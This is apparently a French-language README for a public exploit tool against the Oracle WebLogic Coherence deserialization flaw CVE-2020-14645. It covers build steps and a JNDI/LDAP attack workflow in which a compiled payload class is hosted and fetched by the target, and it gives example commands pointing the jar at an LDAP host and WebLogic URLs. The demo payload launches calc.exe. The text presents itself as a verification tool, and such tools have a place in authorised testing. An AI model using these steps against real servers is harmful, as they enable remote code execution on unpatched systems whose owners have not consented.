Programme de vérification de la vulnérabilité de désérialisation Weblogic CVE-2020-14645 coherence

Environnement

• Maven 3

• JDK 1.8

Compilation

mvn package

Utilisation

Étapes de test spécifiques :

1. Écrire le POC
2. Compiler le POC en fichier class
3. Démarrer un site statique pour publier le POC compilé
4. Démarrer un proxy LDAP pour transférer les requêtes de récupération du POC par la cible de test
5. Exécution du programme de test

Comme cette vulnérabilité est similaire à celle d'Apache Dubbo, veuillez vous référer à cette vulnérabilité pour réaliser les étapes 1-4.

Exécution du programme de test

java -jar target/CVE-2020-14645.jar LDAP_IP:LDAP_PORT/#CLASS_NAME WEBLOGIC_URL

# Exemple
java -jar target/CVE-2020-14645.jar 1.1.1.1:8080/#exp http://127.0.0.1:7001
java -jar target/CVE-2020-14645.jar 1.1.1.1:8080/#exp https://127.0.0.1:7002

Si vous utilisez le POC fourni dans cet exemple, la cible testée exécutera calc.exe après une exploitation réussie. Veuillez modifier le POC vous-même en fonction de l'environnement de la cible de test.

Remerciements

Ce projet fait référence et cite une partie du code des projets @Y4er et @5up3rc, avec nos remerciements !

Références

https://github.com/Y4er/CVE-2020-14645

https://github.com/5up3rc/weblogic_cmd